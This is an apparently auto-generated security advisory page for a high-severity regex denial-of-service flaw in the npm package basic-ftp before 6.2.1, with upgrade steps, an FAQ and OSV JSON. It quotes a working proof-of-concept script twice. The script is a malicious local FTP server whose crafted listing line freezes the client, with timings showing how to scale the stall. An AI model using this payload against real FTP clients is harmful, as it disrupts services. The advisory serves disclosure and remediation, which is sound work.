CVE-2026-102990: basic-ftp Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-c475-qrg2-pj4r
CWE-1333
Published
Advisory Summary

CVE-2026-102990 is a HIGH denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting basic-ftp libraries in the npm ecosystem. The issue involves quadratic-time cpu denial of service in client.list() unix directory-listing parser (re_line backtracking). Remediation is available by upgrading affected packages to version 6.2.1.

CVE-2026-102990 at a Glance

CVE Identifier CVE-2026-102990
GHSA Identifier GHSA-c475-qrg2-pj4r
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product basic-ftp
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-102990

To remediate this vulnerability, upgrade all affected basic-ftp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

basic-ftp fixed: 6.2.1
npm install basic-ftp@6.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls basic-ftp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-102990, inspect your project dependencies using npm:

npm ls basic-ftp

Analyze the terminal output to locate any version of basic-ftp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.2.1), your application is affected.

Note: The npm ls basic-ftp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In basic-ftp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\S+(?:\s\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length. The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match. ## Proof of concept `npm i basic-ftp && node repro.js`: ```js const net = require("net"), ftp = require("basic-ftp"); const KB = Number(process.env.LINE_KB || 128); const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!"; const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n"; const server = net.createServer(c => { c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = ""; c.on("data", d => { buf += d; let i; while ((i = buf.indexOf("\r\n")) !== -1) { const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2); if (cmd.startsWith("USER")) c.write("331 .\r\n"); else if (cmd.startsWith("PASS")) c.write("230 .\r\n"); else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n"); else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); }); ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); } else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); } else c.write("200 .\r\n"); } }); }); server.listen(0, "127.0.0.1", async () => { const client = new ftp.Client(0); await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" }); let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now(); await client.list(); clearInterval(hb); console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`); process.exit(0); }); ``` Prints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes. ## Impact One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser's CPU cost.

CVE-2026-102990 Affected basic-ftp Versions

1 component(s)
Fixed Versions:
6.2.1
Product / Package Ecosystem Affected Versions Fixed Version
basic-ftp
npm
< 6.2.1
6.2.1

References

Frequently Asked Questions

What is CVE-2026-102990?
CVE-2026-102990 is a security vulnerability in basic-ftp involving Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking) under CWE-1333: Inefficient Regular Expression Complexity.
Which basic-ftp versions are affected?
Affected versions include releases prior to 6.2.1 across affected packages: basic-ftp.
What version fixes CVE-2026-102990?
Upgrading to 6.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is basic-ftp affected?
Yes, basic-ftp is affected in releases prior to 6.2.1. Upgrade your dependency to 6.2.1 or later.
What CWE is associated with CVE-2026-102990?
CVE-2026-102990 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2026-102990?
Run the dependency tree command: 'npm ls basic-ftp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c475-qrg2-pj4r",
  "modified" : "2026-10-01T14:42:43Z",
  "published" : "2026-10-01T14:42:42Z",
  "aliases" : [ "CVE-2026-102990" ],
  "summary" : "basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)",
  "details" : "## Summary\n\n`Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\\S+(?:\\s\\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.\n\nThe server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.\n\n## Proof of concept\n\n`npm i basic-ftp && node repro.js`:\n\n```js\nconst net = require(\"net\"), ftp = require(\"basic-ftp\");\nconst KB = Number(process.env.LINE_KB || 128);\nconst payload = \"-rw-r--r-- 1 \" + \"a \".repeat((KB * 1024 - 13) / 2) + \"!\";\nconst listing = payload + \"\\r\\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\\r\\n\";\nconst server = net.createServer(c => {\n  c.setEncoding(\"latin1\"); c.write(\"220 ok\\r\\n\"); let buf = \"\";\n  c.on(\"data\", d => { buf += d; let i;\n    while ((i = buf.indexOf(\"\\r\\n\")) !== -1) {\n      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);\n      if (cmd.startsWith(\"USER\")) c.write(\"331 .\\r\\n\");\n      else if (cmd.startsWith(\"PASS\")) c.write(\"230 .\\r\\n\");\n      else if (cmd.startsWith(\"FEAT\")) c.write(\"211-x\\r\\n UTF8\\r\\n211 End\\r\\n\");\n      else if (cmd.startsWith(\"EPSV\")) { const ds = net.createServer(s => { s.write(listing); s.end(); });\n        ds.listen(0, \"127.0.0.1\", () => c.write(`229 (|||${ds.address().port}|)\\r\\n`)); }\n      else if (cmd.startsWith(\"LIST\")) { c.write(\"150 .\\r\\n\"); setTimeout(() => c.write(\"226 .\\r\\n\"), 50); }\n      else c.write(\"200 .\\r\\n\"); } });\n});\nserver.listen(0, \"127.0.0.1\", async () => {\n  const client = new ftp.Client(0);\n  await client.access({ host: \"127.0.0.1\", port: server.address().port, user: \"x\", password: \"y\" });\n  let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();\n  await client.list(); clearInterval(hb);\n  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);\n  process.exit(0);\n});\n```\n\nPrints `list() blocked 39.75s; heartbeats fired: 0`, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. `maxListingBytes` defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.\n\n## Impact\n\nOne directory listing freezes the whole process, under default options, through the primary API. This is the same \"malicious FTP server causes client-side denial of service\" shape as GHSA-rp42-5vxx-qpwr, also in `Client.list()` and rated high. The byte cap added there bounds memory, not the parser's CPU cost.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "basic-ftp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-c475-qrg2-pj4r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-102990"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickjuchli/basic-ftp/commit/d0d9e07c56e519587bb50532ac6eadbb0cb0cfe9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickjuchli/basic-ftp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-01T14:42:42Z",
    "nvd_published_at" : "2026-09-30T20:17:26Z"
  }
}